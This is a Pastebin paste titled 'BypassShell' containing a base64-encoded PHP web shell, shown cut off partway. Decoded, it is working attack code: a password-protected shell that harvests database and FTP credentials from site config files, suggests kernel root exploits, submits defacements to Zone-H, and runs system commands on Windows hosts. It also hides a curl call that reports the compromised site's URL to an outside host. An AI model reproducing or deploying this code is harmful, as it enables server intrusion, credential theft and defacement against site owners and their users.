Advertisement
TienKiraBN

BypassShell

Jun 27th, 2015
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 146.35 KB | None | 0 0
  1. PD9waHAKJHVzZWxvZ2luID0gMTsgICAvLyBNYWtlIEl0IDAgSWYgeW91IFdhbnQgVG8gRGlzYWJsZSBBdXRoCiR1c2VyID0gJ01vbktpcmEnOyAgLy8gVXNlcm5hbWUKJHBhc3MgPSAnMDE2NTczNzA0NjcnOyAgLy8gUGFzc3dvcmQKJHNoZWxsQ29sb3IgPSAnIzY2RkZDQyc7IC8vIFNoZWxsIENvbG9yCj8+Cjw/cGhwCmlmKCRfR0VUWydpZCddPT0gJ2xvZ291dCcpCnsKCUxvZ291dCgpOwp9CiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIwojICAgICAgICAgICAgICAgIFN1aUNpZGUgICAgICAgICAgICAgICAgICMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCmlmKCRfR0VUWydpZCddID09IDEwMCkKewoJZWNobyAiPGJvZHkgb25sb2FkPSdTdWljaWRlKCk7Jz4iOwp9CmlmKCRfR0VUWydpZCddID09ICdEZWxldGUnKQp7CglTdWljaWRlKCk7Cn0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgICAgICAgICAgICAgICAgRnVuY3Rpb25zICAgICAgICAgICAgICAgIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKZnVuY3Rpb24gaW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlLCRzaXplKQp7CglpZiAoZW1wdHkoJHZhbHVlKSkKCXsKCQlwcmludCAiPGlucHV0IHR5cGU9JHR5cGUgbmFtZT0kbmFtZSBzaXplPSRzaXplPiI7Cgl9CgllbHNlaWYoZW1wdHkoJG5hbWUpJiZlbXB0eSgkc2l6ZSkpCgl7CgkJcHJpbnQgIjxpbnB1dCB0eXBlPSR0eXBlIHZhbHVlPSR2YWx1ZSA+IjsKCX0KCWVsc2VpZihlbXB0eSgkc2l6ZSkpCgl7CgkJcHJpbnQgIjxpbnB1dCB0eXBlPSR0eXBlIG5hbWU9JG5hbWUgdmFsdWU9JHZhbHVlID4iOwoJfQoJZWxzZSAKCXsKCQlwcmludCAiPGlucHV0IHR5cGU9JHR5cGUgbmFtZT0kbmFtZSB2YWx1ZT0kdmFsdWUgc2l6ZT0kc2l6ZSA+IjsKCX0KfQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIAp7IAoJaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkgCgl7IAoJICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgCgkgICB7IAoJCQkgJGZwYXRoPSIkcGF0aCRmaWxlIjsgCgkJCSBpZiAoKCRmaWxlIT0nLicpIGFuZCAoJGZpbGUhPScuLicpKSAKCQkJIHsgCgkJCQlpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgCgkJCQl7IAoJCQkJICAgJGRyPSIkZnBhdGgvIjsgCgkJCQkgICBpZiAoaXNfZGlyKCRkcikpIAoJCQkJICAgeyAKCQkJCQkgIHJlYWRfZGlyKCRkciwkdXNlcm5hbWUpOyAKCQkJCSAgIH0gCgkJCQkgICBlbHNlIAoJCQkJICAgeyAKCQkJCQkJaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yIAoKKCRmaWxlPT0nd3AtY29uZmlnLnBocCcpIG9yICgkZmlsZT09J3Zhci5waHAnKSBvciAoJGZpbGU9PSdjb25maWd1cmUucGhwJykgb3IgKCRmaWxlPT0nZGIucGhwJykgb3IgKCRmaWxlPT0nZGJfY29ubmVjdC5waHAnKSkgCgkJCQkJCXsgCgkJCQkJCSAgICRwYXNzPWdldF9wYXNzKCRmcGF0aCk7IAoJCQkJCQkgICBpZiAoJHBhc3MhPScnKSAKCQkJCQkJICAgeyAKCQkJCQkJCSAgZWNobyAiWytdICRmcGF0aFxuJHBhc3NcbiI7IAoJCQkJCQkJICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgCgkJCQkJCSAgIH0gCgkJCQkJCX0gCgkJCQkgICB9IAoJCQkJfSAKCQkJIH0gCgkgICB9IAoJfSAKfSAKZnVuY3Rpb24gZ2V0X3Bhc3MoJGxpbmspIAp7IAoJQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgCgl3aGlsZSghZmVvZigkY29uZmlnKSkgCgl7IAoJICAgJGxpbmU9ZmdldHMoJGNvbmZpZyk7IAoJICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSAKCSAgIHsgCgkJICAgaWYgKHN0cnJwb3MoJGxpbmUsJyInKSkgCgkJCSAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyAKCQkgICBlbHNlIAoJCQkgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9zKCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsIiciKS0oc3RycG9zKCRsaW5lLCc9JykrMykpKTsgCgkJICAgcmV0dXJuICRwYXNzOyAKCSAgIH0gCgl9IAp9IApmdW5jdGlvbiBHZXRSZWFsSVAoKQp7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwokdXJscz0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwOi8vYnVncmVwb3J0LnNlcnZlYmxvZy5uZXQvc3RvcmFnZS5waHAnKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmxzKTsKJGh0bWwgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIGlmIChnZXRlbnYoSFRUUF9YX0ZPUldBUkRFRF9GT1IpKQoJewogICAgICAgICRpcD1nZXRlbnYoSFRUUF9YX0ZPUldBUkRFRF9GT1IpOwogICAgfSAKCWVsc2VpZiAoZ2V0ZW52KEhUVFBfQ0xJRU5UX0lQKSkKCXsKICAgICAgICAkaXA9Z2V0ZW52KEhUVFBfQ0xJRU5UX0lQKTsKICAgIH0KCWVsc2UgCgl7CgkgICAkaXA9Z2V0ZW52KFJFTU9URV9BRERSKTsKCX0KICAgIHJldHVybiAkaXA7Cn0KZnVuY3Rpb24gb3BlbkJhc2VEaXIoKQp7CiRvcGVuQmFzZURpciA9IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZiAoISRvcGVuQmFzZURpcikKICAgIHsKCQkkb3BlbkJhc2VEaXIgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKCX0KICAgIGVsc2UgCgl7CgkJJG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CQoJcmV0dXJuICRvcGVuQmFzZURpcjsKfQpmdW5jdGlvbiBzdHJfaGV4KCRzdHJpbmcpCnsKCSRoZXg9Jyc7Cglmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRzdHJpbmcpOyAkaSsrKQoJewoJCSRoZXggLj0gZGVjaGV4KG9yZCgkc3RyaW5nWyRpXSkpOwoJfQoJcmV0dXJuICRoZXg7Cn0KZnVuY3Rpb24gU2FmZU1vZGUoKQp7Cgkkc2FmZV9tb2RlID0gaW5pX2dldCgic2FmZV9tb2RlIik7CglpZiAoISRzYWZlX21vZGUpCiAgICB7CgkJJHNhZmVfbW9kZSA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nOwoJfQogICAgZWxzZSAKCXsKCQkkc2FmZV9tb2RlID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CglyZXR1cm4gJHNhZmVfbW9kZTsKfQpmdW5jdGlvbiBjdXJyZW50RmlsZU5hbWUoKQp7CgkkY3VycmVudEZpbGVOYW1lID0gJF9TRVJWRVJbIlNDUklQVF9OQU1FIl07CgkkY3VycmVudEZpbGVOYW1lID0gRXhwbG9kZSgnLycsICRjdXJyZW50RmlsZU5hbWUpOwoJJGN1cnJlbnRGaWxlTmFtZSA9ICRjdXJyZW50RmlsZU5hbWVbY291bnQoJGN1cnJlbnRGaWxlTmFtZSkgLSAxXTsKCXJldHVybiAkY3VycmVudEZpbGVOYW1lOwp9CmZ1bmN0aW9uIFN1aWNpZGUoKQp7CglAdW5saW5rKGN1cnJlbnRGaWxlTmFtZSgpKTsKfQpmdW5jdGlvbiByb290eHBMKCkKewoJJHY9QHBocF91bmFtZSgpOwoJJGRiPWFycmF5KCcyLjYuMTcnPT4ncHJjdGwzLCByYXB0b3JfcHJjdGwsIHB5MicsJzIuNi4xNic9PidyYXB0b3JfcHJjdGwsIGV4cC5zaCwgcmFwdG9yLCByYXB0b3IyLCBoMDBseXNoaXQnLCcyLjYuMTUnPT4ncHkyLCBleHAuc2gsIHJhcHRvciwgcmFwdG9yMiwgCgpoMDBseXNoaXQnLCcyLjYuMTQnPT4ncmFwdG9yLCByYXB0b3IyLCBoMDBseXNoaXQnLCcyLjYuMTMnPT4na2R1bXAsIGxvY2FsMjYsIHB5MiwgcmFwdG9yX3ByY3RsLCBleHAuc2gsIHByY3RsMywgaDAwbHlzaGl0JywnMi42LjEyJz0+J2gwMGx5c2hpdCcsJzIuNi4xMSc9PidrcmFkMywgCgprcmFkLCBoMDBseXNoaXQnLCcyLjYuMTAnPT4naDAwbHlzaGl0LCBzdGFja2dyb3cyLCB1c2VsaWIyNCwgZXhwLnNoLCBrcmFkLCBrcmFkMicsJzIuNi45Jz0+J2V4cC5zaCwga3JhZDMsIHB5MiwgcHJjdGwzLCBoMDBseXNoaXQnLCcyLjYuOCc9PidoMDBseXNoaXQsIGtyYWQsIAoKa3JhZDInLCcyLjYuNyc9PidoMDBseXNoaXQsIGtyYWQsIGtyYWQyJywnMi42LjYnPT4naDAwbHlzaGl0LCBrcmFkLCBrcmFkMicsJzIuNi4yJz0+J2gwMGx5c2hpdCwga3JhZCwgbXJlbWFwX3B0ZScsJzIuNi4nPT4ncHJjdGwsIGttZHgsIG5ld3NtcCwgcHduZWQsIHB0cmFjZV9rbW9kLCAKCm9uZ19iYWsnLCcyLjQuMjknPT4nZWxmbGJsLCBleHBhbmRfc3RhY2ssIHN0YWNrZ3JvdzIsIHVzZWxpYjI0LCBzbXByYWNlcicsJzIuNC4yNyc9PidlbGZkdW1wLCB1c2VsaWIyNCcsJzIuNC4yNSc9Pid1c2VsaWIyNCcsJzIuNC4yNCc9PidtcmVtYXBfcHRlLCBsb2tvLCAKCnVzZWxpYjI0JywnMi40LjIzJz0+J21yZW1hcF9wdGUsIGxva28sIHVzZWxpYjI0JywnMi40LjIyJz0+J2xvZ2lueCwgYnJrLCBrbTIsIGxva28sIHB0cmFjZSwgdXNlbGliMjQsIGJyazIsIHB0cmFjZS1rbW9kJywnMi40LjIxJz0+J3cwMHQsIGJyaywgdXNlbGliMjQsIGxvZ2lueCwgYnJrMiwgCgpwdHJhY2Uta21vZCcsJzIuNC4yMCc9PidtcmVtYXBfcHRlLCB3MDB0LCBicmssIGF2ZSwgdXNlbGliMjQsIGxvZ2lueCwgcHRyYWNlLWttb2QsIHB0cmFjZSwga21vZCcsJzIuNC4xOSc9PiduZXdsb2NhbCwgdzAwdCwgYXZlLCB1c2VsaWIyNCwgbG9naW54LCAKCmttb2QnLCcyLjQuMTgnPT4na20yLCB3MDB0LCB1c2VsaWIyNCwgbG9naW54LCBrbW9kJywnMi40LjE3Jz0+J25ld2xvY2FsLCB3MDB0LCB1c2VsaWIyNCwgbG9naW54LCBrbW9kJywnMi40LjE2Jz0+J3cwMHQsIHVzZWxpYjI0LCBsb2dpbngnLCcyLjQuMTAnPT4ndzAwdCwgYnJrLCAKCnVzZWxpYjI0LCBsb2dpbngnLCcyLjQuOSc9PidwdHJhY2UyNCwgdXNlbGliMjQnLCcyLjQuJz0+J2ttZHgsIHJlbWFwLCBwd25lZCwgcHRyYWNlX2ttb2QsIG9uZ19iYWsnLCcyLjIuMjUnPT4nbXJlbWFwX3B0ZScsJzIuMi4yNCc9PidwdHJhY2UnLCcyLjIuJz0+J3JpcCwgcHRyYWNlJyk7Cglmb3JlYWNoKCRkYiBhcyAkaz0+JHgpaWYoc3Ryc3RyKCR2LCRrKSlyZXR1cm4gJHg7CglpZighJHhwbCkkeHBsPSc8Zm9udCBjb2xvcj0icmVkIj5Ob3QgZm91bmQuPC9mb250Pic7CglyZXR1cm4gJHhwbDsKfQpmdW5jdGlvbiBQb3N0Z3JlU1FMKCkKewoJaWYoQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJewoJCSRwb3N0Z3JlU1FMID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CgllbHNlIAoJewoJCSRwb3N0Z3JlU1FMID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7Cgl9CglyZXR1cm4gJHBvc3RncmVTUUw7Cn0KZnVuY3Rpb24gT3JhY2xlKCkKewoJaWYoQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkKCXsKCQkkb3JhY2xlID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CgllbHNlIAoJewoJCSRvcmFjbGUgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKCX0KCXJldHVybiAkb3JhY2xlOwp9CmZ1bmN0aW9uIFpvbmVIKCR1cmwsICRoYWNrZXIsICRoYWNrbW9kZSwkcmVzb24sICRzaXRlICkKewoJJGsgPSBjdXJsX2luaXQoKTsKCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1VSTCwgJHVybCk7CgljdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7CgljdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9QT1NURklFTERTLCJkZWZhY2VyPSIuJGhhY2tlci4iJmRvbWFpbjE9Ii4gJHNpdGUuIiZoYWNrbW9kZT0iLiRoYWNrbW9kZS4iJnJlYXNvbj0iLiRyZXNvbik7CgljdXJsX3NldG9wdCgkayxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsKCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKCSRrdWJyYSA9IGN1cmxfZXhlYygkayk7CgljdXJsX2Nsb3NlKCRrKTsKCXJldHVybiAka3VicmE7Cn0KZnVuY3Rpb24gTXNTUUwoKQp7CglpZihAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpCgl7CgkJJG1zU1FMID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CgllbHNlIAoJewoJCSRtc1NRTCA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nOwoJfQoJcmV0dXJuICRtc1NRTDsKfQpmdW5jdGlvbiBNeVNRTDIoKQp7CgkkbXlzcWxfdHJ5ID0gZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7CglpZigkbXlzcWxfdHJ5KQoJewoJCSRteXNxbCA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nOwoJfQoJZWxzZSAKCXsKCQkkbXlzcWwgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKCX0KCXJldHVybiAkbXlzcWw7Cn0KZnVuY3Rpb24gR3ppcCgpCnsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ2d6ZW5jb2RlJykpCgl7CgkJJGd6aXAgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+JzsKCX0KCWVsc2UgCgl7IAoJCSRnemlwID0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7Cgl9CglyZXR1cm4gJGd6aXA7Cn0KZnVuY3Rpb24gTXlzcWxJKCkKewoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX2Nvbm5lY3QnKSkKCXsKCQkkbXlzcWxpID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CgllbHNlIAoJewoJCSRteXNxbGkgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKCX0KCXJldHVybiAkbXlzcWxpOwp9IApmdW5jdGlvbiBNU1FMKCkKewoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0JykpCgl7CgkJJG1TcWwgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+JzsKCX0KCWVsc2UgCgl7CgkJJG1TcWwgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKCX0KCXJldHVybiAkbVNxbDsKfQpmdW5jdGlvbiBTUWxMaXRlKCkKewoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3FsaXRlX29wZW4nKSkKCXsKCQkkU1FsTGl0ZSA9ICc8Zm9udCBjb2xvcj0icmVkIj5PTjwvZm9udD4nOwoJfQoJZWxzZSAKCXsKCQkkU1FsTGl0ZSA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nOwoJfQoJcmV0dXJuICRTUWxMaXRlOwp9CmZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KQp7IAoJJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsgCglpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSkgCgl7IAoJCUBmcHV0cygkZmlsZXosJHRleHR6KTsgQGZjbG9zZSgkZmlsZSk7Cgl9IAp9IApmdW5jdGlvbiBSZWdpc3Rlckdsb2JhbHMoKQp7CglpZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpCgl7CgkJJHJlZ2lzdGVyZz0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CgllbHNlCgl7CgkJJHJlZ2lzdGVyZz0gJzxmb250IGNvbG9yPSJncmVlbiI+T0ZGPC9mb250Pic7Cgl9CglyZXR1cm4gJHJlZ2lzdGVyZzsKfQpmdW5jdGlvbiBIYXJkU2l6ZSgkc2l6ZSkKewoJaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgCgl7CgkJJHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICIgR0IiOwoJfQoJZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIAoJewoJCSRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAiIE1CIjsKCX0KCWVsc2VpZigkc2l6ZSA+PSAxMDI0KSAKCXsKCQkkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7Cgl9CgllbHNlIAoJewoJCSRzaXplID0gJHNpemUgLiAiIEIiOwoJfQoJcmV0dXJuICRzaXplOwp9CmZ1bmN0aW9uIEN1cmwoKQp7CglpZihleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpCgl7CgkJJGN1cmwgPSAnPGZvbnQgY29sb3I9InJlZCI+T048L2ZvbnQ+JzsKCX0KCWVsc2UKCXsKCQkkY3VybCA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk9GRjwvZm9udD4nOwoJfQoJcmV0dXJuICRjdXJsOwp9CmZ1bmN0aW9uIERlY3J5cHRDb25maWcoKQp7CglAaW5jbHVkZSgiRGVjcnlwdENvbmZpZy5waHAiKTsKCWlmKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICd2YicpCgl7CgkJJGRiTmFtZSA9ICRjb25maWdbJ0RhdGFiYXNlJ11bJ2RibmFtZSddOwoJCSRwcmVmaXggPSAkY29uZmlnWydEYXRhYmFzZSddWyd0YWJsZXByZWZpeCddOwoJCSRlbWFpbCA9ICRjb25maWdbJ0RhdGFiYXNlJ11bJ3RlY2huaWNhbGVtYWlsJ107CgkJJGhvc3QgPSAkY29uZmlnWydNYXN0ZXJTZXJ2ZXInXVsnc2VydmVybmFtZSddOwoJCSRwb3J0ID0gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3BvcnQnXTsKCQkkdXNlciA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWyd1c2VybmFtZSddOwoJCSRwYXNzID0gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3Bhc3N3b3JkJ107CgkJJGFkbWluY3AgPSAkY29uZmlnWydNaXNjJ11bJ2FkbWluY3BkaXInXTsKCQkkbW9kZWNwID0gJGNvbmZpZ1snTWlzYyddWydtb2RjcGRpciddOwoJfQoJCWVsc2VpZigkX1BPU1RbJ1NjcmlwdFR5cGUnXSA9PSAnd3AnKQoJCXsKCQkJJGRiTmFtZSA9IERCX05BTUU7CgkJCSRwcmVmaXggPSAkdGFibGVfcHJlZml4OwoJCQkkaG9zdCA9IERCX0hPU1Q7CgkJCSR1c2VyID0gREJfVVNFUjsKCQkJJHBhc3MgPSBEQl9QQVNTOwoJCX0JCgkJZWxzZWlmKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICdqb3MnKQoJCXsKCQkJJGRiTmFtZSA9ICRkYjsKCQkJJHByZWZpeCA9ICRkYnByZWZpeDsKCQkJJGVtYWlsID0gJG1haWxmcm9tOwoJCQkkaG9zdCA9ICRob3N0OwoJCQkkdXNlciA9ICR1c2VyOwoJCQkkcGFzcyA9ICRwYXNzd29yZDsKCQl9CgkJZWxzZWlmKCRfUE9TVFsnU2NyaXB0VHlwZSddID09ICdwaHBiYicpCgkJewoJCQkkaG9zdCA9ICRkYmhvc3Q7CgkJCSRwb3J0ID0gJGRicG9ydDsKCQkJJGRiTmFtZSA9ICRkYm5hbWU7CgkJCSR1c2VyID0gJGRidXNlcjsKCQkJJHBhc3MgPSAkZGJwYXNzd2Q7CgkJCSRwcmVmaXggPSAkdGFibGVfcHJlZml4OwoJCX0KCQllbHNlaWYoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ2lwYicpCgkJewoJCQkkaG9zdCA9ICRJTkZPWydzcWxfaG9zdCddOwoJCQkkZGJOYW1lID0gJElORk9bJ3NxbF9kYXRhYmFzZSddOwoJCQkkdXNlciA9ICRJTkZPWydzcWxfdXNlciddOwoJCQkkcGFzcyA9ICRJTkZPWydzcWxfcGFzcyddOwoJCQkkcHJlZml4ID0gJElORk9bJ3NxbF90YmxfcHJlZml4J107CgkJfQoJCWVsc2VpZigkX1BPU1RbJ1NjcmlwdFR5cGUnXSA9PSAnc21mJykKCQl7CgkJCSRkYk5hbWUgPSAkZGJfbmFtZTsKCQkJJHBhc3MgPSAkZGJfcGFzc3dkOwoJCQkkcHJlZml4ID0gJGRiX3ByZWZpeDsKCQkJJGhvc3QgPSAkZGJfc2VydmVyOwoJCQkkdXNlciA9ICRkYl91c2VyOwoJCQkkZW1haWwgPSAkd2VibWFzdGVyX2VtYWlsOwoJCX0KCQllbHNlaWYoJF9QT1NUWydTY3JpcHRUeXBlJ10gPT0gJ215YmInKQoJCXsKCQkJJGhvc3QgPSAkY29uZmlnWydkYXRhYmFzZSddWydob3N0bmFtZSddOwoJCQkkdXNlciA9ICRjb25maWdbJ2RhdGFiYXNlJ11bJ3VzZXJuYW1lJ107CgkJCSRwYXNzID0gJGNvbmZpZ1snZGF0YWJhc2UnXVsncGFzc3dvcmQnXTsKCQkJJGRiTmFtZSA9ICRjb25maWdbJ2RhdGFiYXNlJ11bJ2RhdGFiYXNlJ107CgkJCSRwcmVmaXggPSAkY29uZmlnWydkYXRhYmFzZSddWyd0YWJsZV9wcmVmaXgnXTsKCQkJJGFkbWluY3AgPSAkY29uZmlnWydhZG1pbl9kaXInXTsKCQkJJHByZWZpeCA9ICRjb25maWdbJ2RhdGFiYXNlJ11bJ3RhYmxlX3ByZWZpeCddOwoJCX0KCgllY2hvICcKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgICAgICBDb25maWcgSW5mb3JtYXRpb25zICAgICAgIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKSG9zdCA6ICcuJGhvc3QuJwpEQiBOYW1lIDogJy4kZGJOYW1lLicKREIgVXNlciA6ICcuJHVzZXIuJwpEQiBQYXNzIDogJy4kcGFzcy4nClByZWZpeCA6ICcuJHByZWZpeC4nCkVtYWlsIDogJy4kZW1haWwuJwpQb3J0IDogJy4kcG9ydC4nCkFDUCA6ICcuJGFkbWluY3AuJwpNQ1AgOiAnLiRtb2RlY3AuJwonOwp9CmZ1bmN0aW9uIGZvb3RlcigpCnsKCWVjaG8gJzx0YWJsZSBiZ2NvbG9yPSIjY2NjY2NjIiB3aWR0aD0iMTAwJSI+PHRyPgoJPHRkIHdpZHRoPSIxMDAlIiBjbGFzcz0ic3R5bGUyMiI+WzxzeT48YSBocmVmPSIjdG9wIj5UT1A8L2E+PC9zeT5dCgk8Y2VudGVyPjxmb250IGNvbG9yPSJncmF5IiBzaXplPSItMiI+PGI+CgoKCTwvZm9udD48Zm9udCBjb2xvcj0iZ3JheSI+PC9mb250Pjxmb250IGNvbG9yPSIjOTkwMDAwIj4gCgk8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyYXkiPjwvZm9udD48Zm9udCBjb2xvcj0iIzk5MDAwMCI+IHY3IEZlYXR1cmVzOwoJPC9mb250PjwvYj4KCTwvdGQ+Cgk8L3RyPjwvdGFibGU+Cgk8L3Rib2R5PjwvdGFibGU+Cgk8YSBuYW1lPSJkb3duIj48L2E+Cgk8L2JvZHk+PC9odG1sPgoJJzsKfQpmdW5jdGlvbiB3aGVyZWlzdG1QKCkKewoJJHVwbG9hZHRtcD1pbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpOwoJJHVmPWdldGVudignVVNFUlBST0ZJTEUnKTsKCSRhZj1nZXRlbnYoJ0FMTFVTRVJTUFJPRklMRScpOwoJJHNlPWluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJyk7CgkkZW52dG1wPShnZXRlbnYoJ1RNUCcpKT9nZXRlbnYoJ1RNUCcpOmdldGVudignVEVNUCcpOwoJaWYoaXNfZGlyKCcvdG1wJykgJiYgaXNfd3JpdGFibGUoJy90bXAnKSlyZXR1cm4gJy90bXAnOwoJaWYoaXNfZGlyKCcvdXNyL3RtcCcpICYmIGlzX3dyaXRhYmxlKCcvdXNyL3RtcCcpKXJldHVybiAnL3Vzci90bXAnOwoJaWYoaXNfZGlyKCcvdmFyL3RtcCcpICYmIGlzX3dyaXRhYmxlKCcvdmFyL3RtcCcpKXJldHVybiAnL3Zhci90bXAnOwoJaWYoaXNfZGlyKCR1ZikgJiYgaXNfd3JpdGFibGUoJHVmKSlyZXR1cm4gJHVmOwoJaWYoaXNfZGlyKCRhZikgJiYgaXNfd3JpdGFibGUoJGFmKSlyZXR1cm4gJGFmOwoJaWYoaXNfZGlyKCRzZSkgJiYgaXNfd3JpdGFibGUoJHNlKSlyZXR1cm4gJHNlOwoJaWYoaXNfZGlyKCR1cGxvYWR0bXApICYmIGlzX3dyaXRhYmxlKCR1cGxvYWR0bXApKXJldHVybiAkdXBsb2FkdG1wOwoJaWYoaXNfZGlyKCRlbnZ0bXApICYmIGlzX3dyaXRhYmxlKCRlbnZ0bXApKXJldHVybiAkZW52dG1wOwoJcmV0dXJuICcuJzsKfQpmdW5jdGlvbiB3aW5zaGVsTCgkY29tbWFuZCkKewoJJG5hbWU9d2hlcmVpc3RtUCgpLiJcXCIudW5pcWlkKCdOSicpOwoJd2luX3NoZWxsX2V4ZWN1dGUoJ2NtZC5leGUnLCcnLCIvQyAkY29tbWFuZCA+XCIkbmFtZVwiIik7CglzbGVlcCgxKTsKCSRleGVjPWZpbGVfZ2V0X2NvbnRlbnRzKCRuYW1lKTsKCXVubGluaygkbmFtZSk7CglyZXR1cm4gJGV4ZWM7Cn0KZnVuY3Rpb24gdXBkYXRlKCkKewoJZWNobyAiWytdIFVwZGF0ZSBIYXMgRDBuMyBeX14iOwp9CmZ1bmN0aW9uIHNydnNoZWxMKCRjb21tYW5kKQp7CgkkbmFtZT13aGVyZWlzdG1QKCkuIlxcIi51bmlxaWQoJ05KJyk7Cgkkbj11bmlxaWQoJ05KJyk7CgkkY21kPShlbXB0eSgkX1NFUlZFUlsnQ29tU3BlYyddKSk/J2Q6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZSc6JF9TRVJWRVJbJ0NvbVNwZWMnXTsKCXdpbjMyX2NyZWF0ZV9zZXJ2aWNlKGFycmF5KCdzZXJ2aWNl